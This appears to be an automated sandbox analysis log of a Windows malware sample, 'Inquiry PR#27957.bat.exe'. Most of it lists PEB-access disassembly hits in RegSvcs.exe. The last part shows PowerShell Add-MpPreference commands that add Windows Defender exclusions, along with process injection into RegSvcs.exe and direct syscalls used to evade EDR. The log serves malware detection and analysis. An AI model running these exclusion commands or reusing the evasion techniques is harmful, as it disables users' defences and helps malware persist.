Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0166096E mov edx, dword ptr fs:[00000030h]	9_2_0166096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0166096E mov eax, dword ptr fs:[00000030h]	9_2_0166096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C4978 mov eax, dword ptr fs:[00000030h]	9_2_016C4978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C4978 mov eax, dword ptr fs:[00000030h]	9_2_016C4978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AC97C mov eax, dword ptr fs:[00000030h]	9_2_016AC97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A0946 mov eax, dword ptr fs:[00000030h]	9_2_016A0946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4940 mov eax, dword ptr fs:[00000030h]	9_2_016F4940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A892A mov eax, dword ptr fs:[00000030h]	9_2_016A892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B892B mov eax, dword ptr fs:[00000030h]	9_2_016B892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E908 mov eax, dword ptr fs:[00000030h]	9_2_0169E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E908 mov eax, dword ptr fs:[00000030h]	9_2_0169E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AC912 mov eax, dword ptr fs:[00000030h]	9_2_016AC912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618918 mov eax, dword ptr fs:[00000030h]	9_2_01618918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618918 mov eax, dword ptr fs:[00000030h]	9_2_01618918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AE9E0 mov eax, dword ptr fs:[00000030h]	9_2_016AE9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016529F9 mov eax, dword ptr fs:[00000030h]	9_2_016529F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016529F9 mov eax, dword ptr fs:[00000030h]	9_2_016529F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B69C0 mov eax, dword ptr fs:[00000030h]	9_2_016B69C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0162A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016549D0 mov eax, dword ptr fs:[00000030h]	9_2_016549D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EA9D3 mov eax, dword ptr fs:[00000030h]	9_2_016EA9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0 mov eax, dword ptr fs:[00000030h]	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016209AD mov eax, dword ptr fs:[00000030h]	9_2_016209AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016209AD mov eax, dword ptr fs:[00000030h]	9_2_016209AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A89B3 mov esi, dword ptr fs:[00000030h]	9_2_016A89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A89B3 mov eax, dword ptr fs:[00000030h]	9_2_016A89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A89B3 mov eax, dword ptr fs:[00000030h]	9_2_016A89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AE872 mov eax, dword ptr fs:[00000030h]	9_2_016AE872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AE872 mov eax, dword ptr fs:[00000030h]	9_2_016AE872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6870 mov eax, dword ptr fs:[00000030h]	9_2_016B6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6870 mov eax, dword ptr fs:[00000030h]	9_2_016B6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01632840 mov ecx, dword ptr fs:[00000030h]	9_2_01632840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01650854 mov eax, dword ptr fs:[00000030h]	9_2_01650854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624859 mov eax, dword ptr fs:[00000030h]	9_2_01624859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624859 mov eax, dword ptr fs:[00000030h]	9_2_01624859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov eax, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov eax, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov eax, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov ecx, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov eax, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642835 mov eax, dword ptr fs:[00000030h]	9_2_01642835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A830 mov eax, dword ptr fs:[00000030h]	9_2_0165A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C483A mov eax, dword ptr fs:[00000030h]	9_2_016C483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C483A mov eax, dword ptr fs:[00000030h]	9_2_016C483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AC810 mov eax, dword ptr fs:[00000030h]	9_2_016AC810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EA8E4 mov eax, dword ptr fs:[00000030h]	9_2_016EA8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C8F9 mov eax, dword ptr fs:[00000030h]	9_2_0165C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C8F9 mov eax, dword ptr fs:[00000030h]	9_2_0165C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E8C0 mov eax, dword ptr fs:[00000030h]	9_2_0164E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F08C0 mov eax, dword ptr fs:[00000030h]	9_2_016F08C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620887 mov eax, dword ptr fs:[00000030h]	9_2_01620887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AC89D mov eax, dword ptr fs:[00000030h]	9_2_016AC89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161CB7E mov eax, dword ptr fs:[00000030h]	9_2_0161CB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D4B4B mov eax, dword ptr fs:[00000030h]	9_2_016D4B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D4B4B mov eax, dword ptr fs:[00000030h]	9_2_016D4B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6B40 mov eax, dword ptr fs:[00000030h]	9_2_016B6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6B40 mov eax, dword ptr fs:[00000030h]	9_2_016B6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EAB40 mov eax, dword ptr fs:[00000030h]	9_2_016EAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C8B42 mov eax, dword ptr fs:[00000030h]	9_2_016C8B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01618B50 mov eax, dword ptr fs:[00000030h]	9_2_01618B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F2B57 mov eax, dword ptr fs:[00000030h]	9_2_016F2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F2B57 mov eax, dword ptr fs:[00000030h]	9_2_016F2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F2B57 mov eax, dword ptr fs:[00000030h]	9_2_016F2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F2B57 mov eax, dword ptr fs:[00000030h]	9_2_016F2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CEB50 mov eax, dword ptr fs:[00000030h]	9_2_016CEB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164EB20 mov eax, dword ptr fs:[00000030h]	9_2_0164EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164EB20 mov eax, dword ptr fs:[00000030h]	9_2_0164EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E8B28 mov eax, dword ptr fs:[00000030h]	9_2_016E8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E8B28 mov eax, dword ptr fs:[00000030h]	9_2_016E8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4B00 mov eax, dword ptr fs:[00000030h]	9_2_016F4B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169EB1D mov eax, dword ptr fs:[00000030h]	9_2_0169EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628BF0 mov eax, dword ptr fs:[00000030h]	9_2_01628BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628BF0 mov eax, dword ptr fs:[00000030h]	9_2_01628BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628BF0 mov eax, dword ptr fs:[00000030h]	9_2_01628BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164EBFC mov eax, dword ptr fs:[00000030h]	9_2_0164EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016ACBF0 mov eax, dword ptr fs:[00000030h]	9_2_016ACBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01640BCB mov eax, dword ptr fs:[00000030h]	9_2_01640BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01640BCB mov eax, dword ptr fs:[00000030h]	9_2_01640BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01640BCB mov eax, dword ptr fs:[00000030h]	9_2_01640BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620BCD mov eax, dword ptr fs:[00000030h]	9_2_01620BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620BCD mov eax, dword ptr fs:[00000030h]	9_2_01620BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620BCD mov eax, dword ptr fs:[00000030h]	9_2_01620BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CEBD0 mov eax, dword ptr fs:[00000030h]	9_2_016CEBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630BBE mov eax, dword ptr fs:[00000030h]	9_2_01630BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630BBE mov eax, dword ptr fs:[00000030h]	9_2_01630BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D4BB0 mov eax, dword ptr fs:[00000030h]	9_2_016D4BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D4BB0 mov eax, dword ptr fs:[00000030h]	9_2_016D4BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165CA6F mov eax, dword ptr fs:[00000030h]	9_2_0165CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165CA6F mov eax, dword ptr fs:[00000030h]	9_2_0165CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165CA6F mov eax, dword ptr fs:[00000030h]	9_2_0165CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CEA60 mov eax, dword ptr fs:[00000030h]	9_2_016CEA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169CA72 mov eax, dword ptr fs:[00000030h]	9_2_0169CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169CA72 mov eax, dword ptr fs:[00000030h]	9_2_0169CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01626A50 mov eax, dword ptr fs:[00000030h]	9_2_01626A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630A5B mov eax, dword ptr fs:[00000030h]	9_2_01630A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630A5B mov eax, dword ptr fs:[00000030h]	9_2_01630A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165CA24 mov eax, dword ptr fs:[00000030h]	9_2_0165CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164EA2E mov eax, dword ptr fs:[00000030h]	9_2_0164EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01644A35 mov eax, dword ptr fs:[00000030h]	9_2_01644A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01644A35 mov eax, dword ptr fs:[00000030h]	9_2_01644A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165CA38 mov eax, dword ptr fs:[00000030h]	9_2_0165CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016ACA11 mov eax, dword ptr fs:[00000030h]	9_2_016ACA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165AAEE mov eax, dword ptr fs:[00000030h]	9_2_0165AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165AAEE mov eax, dword ptr fs:[00000030h]	9_2_0165AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01676ACC mov eax, dword ptr fs:[00000030h]	9_2_01676ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01676ACC mov eax, dword ptr fs:[00000030h]	9_2_01676ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01676ACC mov eax, dword ptr fs:[00000030h]	9_2_01676ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620AD0 mov eax, dword ptr fs:[00000030h]	9_2_01620AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01654AD0 mov eax, dword ptr fs:[00000030h]	9_2_01654AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01654AD0 mov eax, dword ptr fs:[00000030h]	9_2_01654AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628AA0 mov eax, dword ptr fs:[00000030h]	9_2_01628AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628AA0 mov eax, dword ptr fs:[00000030h]	9_2_01628AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01676AA4 mov eax, dword ptr fs:[00000030h]	9_2_01676AA4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtSetInformationProcess: Direct from: 0x77542C5C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtOpenKeyEx: Direct from: 0x77542B9C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtTerminateThread: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtCreateFile: Direct from: 0x77542FEC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtOpenFile: Direct from: 0x77542DCC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQueryInformationToken: Direct from: 0x77542CAC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtTerminateThread: Direct from: 0x77542FCC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtOpenSection: Direct from: 0x77542E0C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtSetInformationThread: Direct from: 0x775363F9
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQuerySystemInformation: Direct from: 0x775448CC
